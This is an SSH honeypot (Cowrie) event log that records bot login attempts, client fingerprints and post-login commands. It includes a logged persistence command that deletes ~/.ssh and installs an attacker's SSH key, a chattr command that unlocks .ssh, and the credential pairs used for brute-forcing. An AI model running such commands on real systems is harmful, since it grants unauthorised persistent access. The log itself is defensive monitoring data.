{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:48.763098Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:48.765647Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:48.989246Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:48.992797Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":57544,"dst_ip":"10.17.0.5","dst_port":22,"session":"9584a23f5c2d","protocol":"ssh","message":"New connection: 165.154.6.89:57544 (10.17.0.5:22) [session: 9584a23f5c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:49.210834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:49.214995Z","src_ip":"165.154.6.89","session":"9584a23f5c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:49.438089Z","src_ip":"165.154.6.89","session":"9584a23f5c2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:50.361166Z","src_ip":"165.154.6.89","session":"9584a23f5c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:51.585342Z","src_ip":"165.154.6.89","session":"9584a23f5c2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":33272,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ff2fe552691","protocol":"ssh","message":"New connection: 165.154.6.89:33272 (10.17.0.5:22) [session: 8ff2fe552691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:51.791147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:51.795424Z","src_ip":"165.154.6.89","session":"8ff2fe552691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:52.009851Z","src_ip":"165.154.6.89","session":"8ff2fe552691","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:52.901163Z","src_ip":"165.154.6.89","session":"8ff2fe552691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:53.117917Z","src_ip":"165.154.6.89","session":"8ff2fe552691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:53.121987Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55304,"dst_ip":"10.17.0.5","dst_port":22,"session":"b83a8723f0ec","protocol":"ssh","message":"New connection: 2.57.122.208:55304 (10.17.0.5:22) [session: b83a8723f0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:58.076782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:58.105303Z","src_ip":"2.57.122.208","session":"b83a8723f0ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:58.224914Z","src_ip":"2.57.122.208","session":"b83a8723f0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:58.706967Z","src_ip":"2.57.122.208","session":"b83a8723f0ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":46392,"dst_ip":"159.203.135.109","dst_port":22,"session":"1931b73a892d","protocol":"ssh","message":"New connection: 103.193.178.240:46392 (159.203.135.109:22) [session: 1931b73a892d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:58.748286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:58.752839Z","src_ip":"103.193.178.240","session":"1931b73a892d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:58.993543Z","src_ip":"103.193.178.240","session":"1931b73a892d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:59.823113Z","src_ip":"2.57.122.208","session":"b83a8723f0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brian","password":"password","message":"login attempt [brian/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:00.033778Z","src_ip":"103.193.178.240","session":"1931b73a892d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:01.278920Z","src_ip":"103.193.178.240","session":"1931b73a892d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":41104,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7d7b6532df8","protocol":"ssh","message":"New connection: 128.201.200.162:41104 (10.17.0.5:22) [session: e7d7b6532df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:01.722689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:01.727173Z","src_ip":"128.201.200.162","session":"e7d7b6532df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:01.851896Z","src_ip":"128.201.200.162","session":"e7d7b6532df8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123456","message":"login attempt [devuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:02.369464Z","src_ip":"128.201.200.162","session":"e7d7b6532df8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:03.496731Z","src_ip":"128.201.200.162","session":"e7d7b6532df8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":32980,"dst_ip":"10.17.0.5","dst_port":22,"session":"80d25a554de2","protocol":"ssh","message":"New connection: 163.7.6.74:32980 (10.17.0.5:22) [session: 80d25a554de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:04.023865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:04.028435Z","src_ip":"163.7.6.74","session":"80d25a554de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:04.278255Z","src_ip":"163.7.6.74","session":"80d25a554de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scp","password":"scppassword","message":"login attempt [scp/scppassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:05.525748Z","src_ip":"163.7.6.74","session":"80d25a554de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:06.778135Z","src_ip":"163.7.6.74","session":"80d25a554de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":37474,"dst_ip":"10.17.0.5","dst_port":22,"session":"82bbea106937","protocol":"ssh","message":"New connection: 103.134.154.36:37474 (10.17.0.5:22) [session: 82bbea106937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:08.131723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:08.136692Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:08.367235Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123456!","message":"login attempt [root/123456!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:09.319804Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:09.810692Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:09.813446Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:09.817266Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:10.052008Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:43:10.545196Z","src_ip":"103.134.154.36","session":"82bbea106937","protocol":"ssh"}
